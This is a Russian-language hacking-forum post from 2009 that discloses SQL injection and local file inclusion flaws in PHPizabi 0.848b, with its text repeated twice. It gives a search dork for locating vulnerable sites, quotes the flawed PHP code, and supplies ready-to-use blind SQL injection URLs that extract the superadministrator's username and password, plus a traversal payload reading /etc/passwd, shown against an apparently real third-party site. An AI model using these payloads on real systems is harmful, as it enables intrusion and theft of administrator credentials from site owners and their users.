Iceangel_
04.06.2009, 09:54
Уязвимости PHPizabi 0.848b(latest version)
(возможно уязвимы и более ранние версии)
download: http://www.phpizabi.net/?L=downloads.downloadcore&X=dist.core.download&latest=1
dork: "Powered by PHPizabi v0 848b C1 HFP1"
1) [Blind SQL-injection] (требования: magic_quotes=off)
/modules/users/profile.php
уязвимый код:
if (isset($_GET["id"])) {
// GET ID MODS (USERNAMES IN ID) ////////////////////////////////////////////////////////////
/*
The following couple lines will handle a USERNAME posted
as a user ID in the URL, if the "ID" value is not numeric,
it must be one. Let's try to find a user entry for that username
*/
if (!is_numeric($_GET["id"])) {
$fetchUserName = myF(myQ("SELECT `id` FROM `[x]users` WHERE LCASE(`username`)='".strtolower($_GET["id"])."'"));
if (is_array($fetchUserName)) $_GET["id"] = $fetchUserName["id"];
}
эксплуатирование:
index.php?L=users.profile&id=1'+and+ascii(substring((select+concat_ws(0x3a,u sername,password)+from+phpizabi_users+where+is_sup eradministrator=1+and+active=1+limit+0,1),1,1))>50--+
/modules/blog/edit.php
уязвимый код:
$row = myF(myQ("SELECT * FROM `[x]blogs` WHERE `id`='{$_GET["id"]}'"));
эксплуатирование:
http://localhost/hack/izabi/?L=blogs.edit&id=1'+or+if(ascii(substring((select+concat_ws(0x3a ,username,password)+from+phpizabi_users+where+is_s uperadministrator=1+and+active=1+limit+0,1),1,1))>1,BENCHMARK(1000000,md5(current_date)),2)--+
2)[LFI] (требования: register_globals=on)
/install/index.php
уязвимый код:
if (isset($GLOBALS["processors"])) foreach ($GLOBALS["processors"] as $proc) {
include("includes/{$proc}");
}
эксплуатирование:
можно заинклудить хоть массив файлов =)
install/?processors[]=../../../../../../../../../etc/passwd
примечание:
CMS не требует, и даже никак не намекает, что директорию install лучше удалить ;)
http://arlance.net/install/?processors[]=../../../../../../../../../etc/passwd
(возможно уязвимы и более ранние версии)
download: http://www.phpizabi.net/?L=downloads.downloadcore&X=dist.core.download&latest=1
dork: "Powered by PHPizabi v0 848b C1 HFP1"
1) [Blind SQL-injection] (требования: magic_quotes=off)
/modules/users/profile.php
уязвимый код:
if (isset($_GET["id"])) {
// GET ID MODS (USERNAMES IN ID) ////////////////////////////////////////////////////////////
/*
The following couple lines will handle a USERNAME posted
as a user ID in the URL, if the "ID" value is not numeric,
it must be one. Let's try to find a user entry for that username
*/
if (!is_numeric($_GET["id"])) {
$fetchUserName = myF(myQ("SELECT `id` FROM `[x]users` WHERE LCASE(`username`)='".strtolower($_GET["id"])."'"));
if (is_array($fetchUserName)) $_GET["id"] = $fetchUserName["id"];
}
эксплуатирование:
index.php?L=users.profile&id=1'+and+ascii(substring((select+concat_ws(0x3a,u sername,password)+from+phpizabi_users+where+is_sup eradministrator=1+and+active=1+limit+0,1),1,1))>50--+
/modules/blog/edit.php
уязвимый код:
$row = myF(myQ("SELECT * FROM `[x]blogs` WHERE `id`='{$_GET["id"]}'"));
эксплуатирование:
http://localhost/hack/izabi/?L=blogs.edit&id=1'+or+if(ascii(substring((select+concat_ws(0x3a ,username,password)+from+phpizabi_users+where+is_s uperadministrator=1+and+active=1+limit+0,1),1,1))>1,BENCHMARK(1000000,md5(current_date)),2)--+
2)[LFI] (требования: register_globals=on)
/install/index.php
уязвимый код:
if (isset($GLOBALS["processors"])) foreach ($GLOBALS["processors"] as $proc) {
include("includes/{$proc}");
}
эксплуатирование:
можно заинклудить хоть массив файлов =)
install/?processors[]=../../../../../../../../../etc/passwd
примечание:
CMS не требует, и даже никак не намекает, что директорию install лучше удалить ;)
http://arlance.net/install/?processors[]=../../../../../../../../../etc/passwd